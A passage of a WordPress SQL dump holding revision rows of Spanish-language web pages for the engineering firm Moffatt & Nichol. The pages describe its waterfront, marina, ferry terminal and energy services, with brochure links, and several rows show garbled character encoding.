deportivos','','inherit','open','open','','560-autosave','','','2012-06-15 08:12:20','2012-06-15 08:12:20','',560,'http://moffattnichol.com/spanish/560-autosave/',0,'revision','',0),(2495,1,'2011-11-11 14:54:28','2011-11-11 14:54:28','<div class=\"content_faq\">\n  <h3>servicios de frentes de mar urbanos y puertos deportivos</h3>\n  <div class=\"global-services_one\">\n    <div class=\"ports_left\">\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/urban/crise-ship.jpg\" /></div>\n    </div>\n    <div class=\"ports-harbours-right\">\n      <h1 id=\"1\">instalaciones de naves de crucero</h1>\n     El mercado de naves de crucero es un gran componente de la industria del turismo y hay millones de pasajeros que navegan cada aÃ±o. El rÃ¡pido crecimiento de la industria ha causado un aumento en la construcciÃ³n de naves y la consecuente necesidad de nuevas y mejoradas instalaciones para pasajeros y de atraque. Moffatt & Nichol proporciona una variedad de servicios de ingenierÃa y de gestiÃ³n de programa para dar apoyo a los arquitectos y planificadores de terminales de naves de crucero. Estos servicios abarcan desde el planeamiento y diseÃ±o de las instalaciones para el acceso de pasajeros hasta la preparaciÃ³n de la documentaciÃ³n de la construcciÃ³n para las nuevas instalaciones y para las reparaciones de las instalaciones existentes, incluyendo mejoras del dragado y la navegaciÃ³n. \n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\n    </div>\n  </div>\n  <div class=\"border\"></div>\n  <div class=\"global-services_two\">\n    <div class=\"ports_left\">\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/urban/economic.jpg\" /></div>\n    </div>\n    <div class=\"ports-harbours-right\">\n      <h1 id=\"2\">estudios de mercado de puertos deportivos</h1>\n     La clave del Ã©xito de cualquier proyecto, nuevo o existente, es comprender la informaciÃ³n del mercado regional y el anÃ¡lisis de la competencia. Moffatt & Nichol tiene la capacidad para realizar estudios econÃ³micos y de mercado a fin de ayudar a planear la instalaciÃ³n Ã³ptima para un mercado de puerto deportivo dado. Estos estudios tratan la perspectiva econÃ³mica y de mercado de la industria del canotaje y de los puertos deportivos con un Ã©nfasis particular en el mercado regional para determinar la posiciÃ³n competitiva de la instalaciÃ³n objetivo. Nuestros anÃ¡lisis incluyen tendencias y pronÃ³sticos de la demanda, crecimiento demogrÃ¡fico y fluctuaciones de precios, escenarios de crecimiento alto y bajo de ingresos, y consideraciones econÃ³micas en la implementaciÃ³n de nuevos puertos deportivos y la modernizaciÃ³n de instalaciones existentes. \n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\n    </div>\n  </div>\n   <div class=\"border\"></div>\n  <div class=\"global-services_two\">\n    <div class=\"ports_left\">\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/urban/fery-termnals.jpg\" /></div>\n    </div>\n    <div class=\"ports-harbours-right\">\n      <h1 id=\"3\">terminales de transbordadores</h1>\n     Los transbordadores funcionan como un importante enlace de trÃ¡nsito a lo largo de muchas vÃas navegables urbanas. Ya sea que se trate de un servicio grande para transbordadores de autos o pasajeros, o un servicio pequeÃ±o para taxis acuÃ¡ticos, Moffatt & Nichol proporciona experiencia profesional especializada en el planeamiento, anÃ¡lisis operativo, gestiÃ³n de trÃ¡fico, diseÃ±o, estudios medioambientales, gestiÃ³n de autorizaciones y construcciÃ³n de terminales de transbordadores (incluyendo muelles, sistemas de amarre, trabajos auxiliares y edificios de las terminales). La firma mantiene un grupo de planificadores e ingenieros dedicados especÃficamente al planeamiento y diseÃ±o de terminales de transbordadores, asÃ como ingenieros costeros e hidrÃ¡ulicos experimentados en el anÃ¡lisis y diseÃ±o de canales de navegaciÃ³n, incluyendo estudios de maniobras del buque y de la capacidad del canal.\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\n    </div>\n  </div>\n   <div class=\"border\"></div>\n  <div class=\"global-services_two\">\n    <div class=\"ports_left\">\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/urban/historic.jpg\" /></div>\n    </div>\n    <div class=\"ports-harbours-right\">\n      <h1 id=\"4\">amarres de buques histÃ³ricos </h1>\n     Una parte integral del planeamiento de frentes costeros modernos supone crear espacio para la preservaciÃ³n de buques histÃ³ricos. Las comunidades de los frentes costeros desean conservar y perpetuar su historia marÃtima a travÃ©s de instalaciones que permitan al pÃºblico experimentar la tradiciÃ³n y la historia de primera mano. La restauraciÃ³n y el mantenimiento de buques histÃ³ricos como exhibiciones interpretativas en los muelles, o buques de programaciÃ³n \"como en el marâ€, pueden proporcionar una aula pÃºblica para estudiantes y visitantes. Moffatt & Nichol ofrece una comprensiÃ³n y un enfoque singulares del diseÃ±o de instalaciones de amarre y apoyo para dichos buques histÃ³ricos.\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\n    </div>\n  </div>\n   <div class=\"border\"></div>\n  <div class=\"global-services_two\">\n    <div class=\"ports_left\">\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/urban/marinas.jpg\" /></div>\n    </div>\n    <div class=\"ports-harbours-right\">\n      <h1 id=\"5\">puertos deportivos</h1>\n      La larga historia de Moffatt & Nichol en la siempre cambiante industria de frentes costeros incluye el planeamiento y diseÃ±o de puertos deportivos para una cartera de proyectos en diversas ubicaciones de todo el mundo. Moffatt & Nichol responde a los desafÃos presentados por cada ubicaciÃ³n, tales como tormentas tropicales, grandes fluctuaciones del nivel de agua, fuerzas de hielo y terremotos. A medida que los diseÃ±os de botes cambian y las demandas de atraque aumentan, Moffatt & Nichol se encuentra a la vanguardia para cubrir las necesidades de los usuarios de puertos deportivos, desde pequeÃ±as embarcaciones hasta los mega yates, proporcionando eficientes y emocionantes destinos de puertos deportivos. \n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\n    </div>\n  </div>\n  <div class=\"border\"></div>\n  <div class=\"global-services_two\">\n    <div class=\"ports_left\">\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/urban/pires.jpg\" /></div>\n    </div>\n    <div class=\"ports-harbours-right\">\n      <h1 id=\"6\">muelles recreacionales</h1>\n      Los muelles recreacionales son un gran ambiente para la pesca, la observaciÃ³n de aves y de personas, ademÃ¡s de ofrecer una ubicaciÃ³n espectacular para observar una salida o puesta de sol. Moffatt & Nichol inspecciona, diseÃ±a y prepara la documentaciÃ³n de construcciÃ³n para muchas de dichas estructuras en todo el mundo; desde pequeÃ±os muelles municipales fluviales hasta grandes muelles marÃtimos en ambas costas de los EE.UU. La firma aprovecha nuestra experiencia con el anÃ¡lisis de vientos, oleajes y corrientes para diseÃ±ar muelles que no solamente son servicios pÃºblicos comunitarios e histÃ³ricos atractivos, sino que tambiÃ©n pueden soportar vientos, oleajes y terremotos extremos.\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\n    </div>\n  </div>\n  <div class=\"border\"></div>\n  <div class=\"global-services_two\">\n    <div class=\"ports_left\">\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/urban/resorts.jpg\" /></div>\n    </div>\n    <div class=\"ports-harbours-right\">\n      <h1 id=\"7\">centros turÃsticos</h1>\n     Las instalaciones de frentes costeros mejoran los destinos turÃsticos en todo el mundo y desempeÃ±an un papel importante en atraer clientes y estimular un desarrollo exitoso. Moffatt & Nichol es un lÃder reconocido en el planeamiento y diseÃ±o de instalaciones sociales de frentes costeros y produce diseÃ±os econÃ³micamente viables y sensibles al medioambiente que dan lugar a una experiencia divertida para el usuario. Los servicios de planeamiento y diseÃ±o de frentes costeros de la firma se realizan generalmente en estrecha alianza con la compaÃ±Ãa de diseÃ±o del desarrollador y del centro turÃstico para integrar completamente las caracterÃsticas de los sectores terrestre y acuÃ¡tico del proyecto. Moffatt & Nichol tiene amplios conocimientos y calificaciones en evaluaciones de lugares y en el diseÃ±o de instalaciones de canotaje, playas, muelles y otros centros recreativos de frentes costeros. La experiencia profesional de la compaÃ±Ãa se extiende a diseÃ±os sostenibles especÃficos para cada lugar y a soluciones innovadoras ante desafÃos singulares presentados por proyectos en ubicaciones remotas.\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\n    </div>\n  </div>\n  <div class=\"border\"></div>\n  <div class=\"global-services_two\">\n    <div class=\"ports_left\">\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/urban/urban-waterfronts.jpg\" /></div>\n    </div>\n    <div class=\"ports-harbours-right\">\n      <h1 id=\"8\">Frentes de mar urbanos</h1>\n     Hoy en dÃa, muchos frentes de mar urbanos estÃ¡n asumiendo nuevos papeles como catalizadores del desarrollo econÃ³mico en sus comunidades. Por mÃ¡s de 65 aÃ±os, Moffatt & Nichol ha ayudado a revitalizar importantes ciudades internacionales con frentes costeros mediante la creaciÃ³n de espacios de uso combinado con residencias, hoteles, tiendas al por menor, cafÃ©s y restaurantes. Los proyectos incluyen un acceso mejorado al frente costero, puertos deportivos municipales y privados, paseos ribereÃ±os, malecones y muelles, creaciÃ³n y restauraciÃ³n de humedales, y espacios pÃºblicos, anfiteatros y museos marÃtimos. La firma proporciona servicios integrales que incluyen planeamiento, ingenierÃa civil, costera, estructural, mecÃ¡nica y elÃ©ctrica, asÃ como el diseÃ±o y la preparaciÃ³n de la documentaciÃ³n de la construcciÃ³n. Estos servicios son complementados por especialidades tales como estudios econÃ³micos, de dragado, sÃsmicos y medioambientales, ademÃ¡s de la modelaciÃ³n numÃ©rica y fÃsica de las vÃas navegables. \n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\n    </div>\n  </div>\n  <div class=\"border\"></div>\n  <div class=\"global-services_two\">\n    <div class=\"ports_left\">\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/urban/waterfront-planing.jpg\" /></div>\n    </div>\n    <div class=\"ports-harbours-right\">\n      <h1 id=\"9\">planeamiento maestro de frentes costeros</h1>\n      Moffatt & Nichol regularmente presta sus servicios como representante de ingenierÃa marÃtima en equipos de diseÃ±o interdisciplinarios dirigidos por arquitectos, arquitectos paisajistas y firmas de planeamiento urbano internacionalmente aclamados que proporcionan servicios de planeamiento maestro de frentes costeros. Estos planes intentan reconectar las ciudades con las orillas de sus rÃos y revigorizar las oportunidades de desarrollo y el espacio recreativo. Moffatt & Nichol proporciona ayuda con respecto de la evaluaciÃ³n de las instalaciones existentes, el diseÃ±o de las estructuras de los frentes costeros, la protecciÃ³n costera, los problemas regulatorios, los intereses de navegaciÃ³n comerciales y los estudios de mercados marÃtimos, asÃ como las consideraciones para canotaje recreativo, amarres de buques histÃ³ricos, taxis acuÃ¡ticos y posibilidades de utilizaciÃ³n de transbordadores.\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\n    </div>\n  </div>\n \n</div>\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>','Servicios de frentes de mar urbanos y puertos deportivos','','inherit','open','open','','560-revision','','','2011-11-11 14:54:28','2011-11-11 14:54:28','',560,'http://moffattnichol.com/spanish/560-revision/',0,'revision','',0),(2496,1,'2012-06-15 08:28:28','2012-06-15 08:28:28','<div class=\"content_faq\"> [anything_slides cat=energy width=588 height=300  delay=3000 resume=15000 animation=750 order=ASC orderby=menu_order theme=construction]\r\n  <div class=\"ports-left\">\r\n    <h3>energía</h3> Como las economías y las políticas medioambientales cambian y se modifican en todo el mundo, el sector de energía debe adaptarse. Durante décadas, Moffatt & Nichol ha sido un consultor líder en la industria que aborda las necesidades específicas de las terminales marítimas costa afuera y cercanas a la costa para la industria del petróleo y el gas, desde muelles y dársenas hasta cimentaciones profundas, instalaciones costa afuera flotantes, terminales de carga líquida a granel y de GNL y sistemas de amarre costa afuera. Hemos aprovechado esta experiencia, junto con nuestra familiaridad con los procesos costeros, las soluciones de amortiguación, las estructuras dinámicas y la modelación de cimentaciones, para colaborar con clientes en afrontar los desafíos de proyectos de energía convencional y renovable—desde la infraestructura civil necesaria para la generación de energía convencional hasta el planeamiento y diseño de fuentes más innovadoras tales como el almacenamiento de energía eólica costa afuera, la energía hidrocinética y la energía eólica de aguas profundas.\r\n    <div class=\"moreheadlines-newone\"><a title=\"Ver perfil completo\" href=\"http://moffattnichol.com/spanish/energy/energy-services/\">Examinar servicios de energía >></a></div>\r\n  </div>\r\n  <div class=\"brochure-wrapper-ports\">\r\n    <h3>publicaciones relevantes</h3>\r\n    <div class=\"brochure-one\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-1.jpg\" /></div>\r\n      <div class=\"bordhure-text\"> <em class=\"aapa-date\">Calificaciones y experiencia profesional</em><br />\r\n        <strong class=\"green-new\">Folleto de Instalaciones marítimas de petróleo y gas	</strong><br />\r\n        Durante décadas, Moffatt & Nichol ha sido un consultor líder en la industria que abordaba las necesidades específicas de las terminales marítimas costa afuera y cercanas a la costa de</div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/oil-gas-qualifications/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/OIL%20AND%20GAS%20MAY%202011-PORTAL.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span></div>\r\n    <div class=\"brochure-one\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-7.jpg\" /></div>\r\n      <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n        <strong class=\"green-new\">FOLLETO DESCRIPTIVO DE ENERGÍA EÓLICA</strong><br />\r\n        Moffatt & Nichol está posicionado en forma singular para ayudar a nuestros clientes a afrontar los desafíos de proyectos de desarrollo de energía eólica, tanto en tierra como costa afuera. Combinamos nuestro </div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/wind-power-overview-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/Wind_Power_Overview_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n    <div class=\"brochure-one\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-5.jpg\" /></div>\r\n      <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n        <strong class=\"green-new\">FOLLETO DE DISEÑO DE LA SUBESTRUCTURA DE GENERADOR DE TURBINA EÓLICA (WTG) COSTA AFUERA</strong><br />\r\n       Moffatt & Nichol aporta las capacidades y experiencia para diseñar subestructuras optimizadas costa afuera para apoyar el desarrollo</div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/offshore-wtg-substructure-design-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/Offshore_WTG_Substructure_Design_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span></div>\r\n    <div class=\"brochure-last\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-4.jpg\" /></div>\r\n      <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n        <strong class=\"green-new\">FOLLETO DE PUERTOS DE ACCESO A PARQUES EÓLICOS COSTA AFUERA</strong><br />\r\n        Moffatt & Nichol es la firma principal de planeamiento y diseño para el desarrollo de puertos y terminales marítimas en Norteamérica y es una de las principales firmas a nivel mundial </div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/offshore-wind-farm-staging-ports-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/Offshore_Wind_Farm_Staging_Ports_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n  </div>\r\n  <div class=\"brochure-wrapper-ports\">\r\n    <div class=\"brochure-one\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-2.jpg\" /></div>\r\n      <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n        <strong class=\"green-new\">FOLLETO DE DISEÑO DE PLATAFORMAS DE SUBESTACIONES ELÉCTRICAS COSTA AFUERA</strong><br />\r\n        El conocimiento de la ingeniería marítima/costa afuera y la comprensión de las necesidades de los parques eólicos costa afuera de Moffatt & Nichol proporciona </div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/offshore-electrical-substation-platform-design-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/Offshore_Electrical_Substation_Platform_Design_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n    <div class=\"brochure-one\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-3.jpg\" /></div>\r\n      <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n        <strong class=\"green-new\">FOLLETO DE LA GESTIÓN DE PROGRAMA DE PARQUES EÓLICOS COSTA AFUERA</strong><br />\r\n        El desarrollo eólico costa afuera crea muchos desafíos para los desarrolladores. La industria y las regulaciones están en cambio constantemente. Las percepciones </div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/offshore-wind-farm-program-management-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/Offshore_Wind_Farm_Program_Management_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n    <div class=\"brochure-one\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-6.jpg\" /></div>\r\n      <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n        <strong class=\"green-new\">FOLLETO DE SERVICIOS CONSULTIVOS COMERCIALES DE PARQUES EÓLICOS</strong><br />\r\n        Los servicios consultivos comerciales globales de Moffatt & Nichol aprovechan las singulares capacidades de planeamiento marítimo y de infraestructura de la firma y ofrecen un conjunto de</div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/wind-farm-commercial-advisory-services-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/Wind_Farm_Commercial_Advisory_Services_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n    <div class=\"brochure-last\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-8.jpg\" /></div>\r\n      <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n        <strong class=\"green-new\">FOLLETO de Almacenamiento de Energía de Aire Comprimido del Océano (OCAES, por sus siglas en inglés)</strong><br />\r\n        ¿Qué es OCAES? TRES COMPONENTES CLAVE: Innovadora tecnología de compresor/expansor GCAES™ • Con base en la costa • Modular\r\n       </div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/ocean-compressed-air-energy-storage-bochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/OCAES Brochure-PRINTABLE.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n  </div>\r\n</div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>\r\n','EnergÃa','','inherit','open','open','','60-autosave','','','2012-06-15 08:28:28','2012-06-15 08:28:28','',60,'http://moffattnichol.com/spanish/60-autosave/',0,'revision','',0),(2497,1,'2012-05-29 06:00:53','2012-05-29 06:00:53','<div class=\"content_faq\"> [anything_slides cat=energy width=588 height=300  delay=3000 resume=15000 animation=750 order=ASC orderby=menu_order theme=construction]\r\n  <div class=\"ports-left\">\r\n    <h3>energÃa</h3> Como las economÃas y las polÃticas medioambientales cambian y se modifican en todo el mundo, el sector de energÃa debe adaptarse. Durante dÃ©cadas, Moffatt & Nichol ha sido un consultor lÃder en la industria que aborda las necesidades especÃficas de las terminales marÃtimas costa afuera y cercanas a la costa para la industria del petrÃ³leo y el gas, desde muelles y dÃ¡rsenas hasta cimentaciones profundas, instalaciones costa afuera flotantes, terminales de carga lÃquida a granel y de GNL y sistemas de amarre costa afuera. Hemos aprovechado esta experiencia, junto con nuestra familiaridad con los procesos costeros, las soluciones de amortiguaciÃ³n, las estructuras dinÃ¡micas y la modelaciÃ³n de cimentaciones, para colaborar con clientes en afrontar los desafÃos de proyectos de energÃa convencional y renovableâ€”desde la infraestructura civil necesaria para la generaciÃ³n de energÃa convencional hasta el planeamiento y diseÃ±o de fuentes mÃ¡s innovadoras tales como el almacenamiento de energÃa eÃ³lica costa afuera, la energÃa hidrocinÃ©tica y la energÃa eÃ³lica de aguas profundas.\r\n    <div class=\"moreheadlines-newone\"><a title=\"Ver perfil completo\" href=\"http://moffattnichol.com/spanish/energy/energy-services/\">Examinar servicios de energÃa >></a></div>\r\n  </div>\r\n  <div class=\"brochure-wrapper-ports\">\r\n    <h3>publicaciones relevantes</h3>\r\n    <div class=\"brochure-one\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-1.jpg\" /></div>\r\n      <div class=\"bordhure-text\"> <em class=\"aapa-date\">Calificaciones y experiencia profesional</em><br />\r\n        <strong class=\"green-new\">Folleto de Instalaciones marÃtimas de petrÃ³leo y gas	</strong><br />\r\n        Durante dÃ©cadas, Moffatt & Nichol ha sido un consultor lÃder en la industria que abordaba las necesidades especÃficas de las terminales marÃtimas costa afuera y cercanas a la costa de </div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/oil-gas-qualifications/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/OIL%20AND%20GAS%20MAY%202011-PORTAL.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span></div>\r\n    <div class=\"brochure-one\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-7.jpg\" /></div>\r\n      <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n        <strong class=\"green-new\">FOLLETO DESCRIPTIVO DE ENERGÃA EÃ“LICA</strong><br />\r\n        Moffatt & Nichol estÃ¡ posicionado en forma singular para ayudar a nuestros clientes a afrontar los desafÃos de proyectos de desarrollo de energÃa eÃ³lica, tanto en tierra como costa afuera. Combinamos nuestro </div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/wind-power-overview-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/Wind_Power_Overview_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n    <div class=\"brochure-one\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-5.jpg\" /></div>\r\n      <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n        <strong class=\"green-new\">FOLLETO DE DISEÃ‘O DE LA SUBESTRUCTURA DE GENERADOR DE TURBINA EÃ“LICA (WTG) COSTA AFUERA</strong><br />\r\n        Moffatt & Nichol aporta las capacidades y experiencia para diseÃ±ar subestructuras optimizadas costa afuera para apoyar el desarrollo</div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/offshore-wtg-substructure-design-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/Offshore_WTG_Substructure_Design_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span></div>\r\n    <div class=\"brochure-last\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-4.jpg\" /></div>\r\n      <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n        <strong class=\"green-new\">FOLLETO DE PUERTOS DE ACCESO A PARQUES EÃ“LICOS COSTA AFUERA</strong><br />\r\n        Moffatt & Nichol es la firma principal de planeamiento y diseÃ±o para el desarrollo de puertos y terminales marÃtimas en NorteamÃ©rica y es una de las principales firmas a nivel mundial </div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/offshore-wind-farm-staging-ports-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/Offshore_Wind_Farm_Staging_Ports_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n  </div>\r\n  <div class=\"brochure-wrapper-ports\">\r\n    <div class=\"brochure-one\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-2.jpg\" /></div>\r\n      <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n        <strong class=\"green-new\">FOLLETO DE DISEÃ‘O DE PLATAFORMAS DE SUBESTACIONES ELÃ‰CTRICAS COSTA AFUERA</strong><br />\r\n        El conocimiento de la ingenierÃa marÃtima/costa afuera y la comprensiÃ³n de las necesidades de los parques eÃ³licos costa afuera de Moffatt & Nichol proporciona </div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/offshore-electrical-substation-platform-design-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/Offshore_Electrical_Substation_Platform_Design_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n    <div class=\"brochure-one\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-3.jpg\" /></div>\r\n      <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n        <strong class=\"green-new\">FOLLETO DE LA GESTIÃ“N DE PROGRAMA DE PARQUES EÃ“LICOS COSTA AFUERA</strong><br />\r\n        El desarrollo eÃ³lico costa afuera crea muchos desafÃos para los desarrolladores. La industria y las regulaciones estÃ¡n en cambio constantemente. Las percepciones </div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/offshore-wind-farm-program-management-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/Offshore_Wind_Farm_Program_Management_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n    <div class=\"brochure-one\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-6.jpg\" /></div>\r\n      <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n        <strong class=\"green-new\">FOLLETO DE SERVICIOS CONSULTIVOS COMERCIALES DE PARQUES EÃ“LICOS</strong><br />\r\n        Los servicios consultivos comerciales globales de Moffatt & Nichol aprovechan las singulares capacidades de planeamiento marÃtimo y de infraestructura de la firma y ofrecen un conjunto de</div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/wind-farm-commercial-advisory-services-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/Wind_Farm_Commercial_Advisory_Services_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n    <div class=\"brochure-last\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-8.jpg\" /></div>\r\n      <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n        <strong class=\"green-new\">FOLLETO de Almacenamiento de EnergÃa de Aire Comprimido del OcÃ©ano (OCAES, por sus siglas en inglÃ©s)</strong><br />\r\n        Â¿QuÃ© es OCAES? TRES COMPONENTES CLAVE: Innovadora tecnologÃa de compresor/expansor GCAESâ„¢ â€¢ Con base en la costa â€¢ Modular\r\n       </div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/ocean-compressed-air-energy-storage-bochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/OCAES Brochure-PRINTABLE.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n  </div>\r\n</div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>\r\n','EnergÃa','','inherit','open','open','','60-revision-5','','','2012-05-29 06:00:53','2012-05-29 06:00:53','',60,'http://moffattnichol.com/spanish/60-revision-5/',0,'revision','',0),(2498,1,'2012-06-15 08:28:19','2012-06-15 08:28:19','<div class=\"content_faq\"> [anything_slides cat=energy width=588 height=300  delay=3000 resume=15000 animation=750 order=ASC 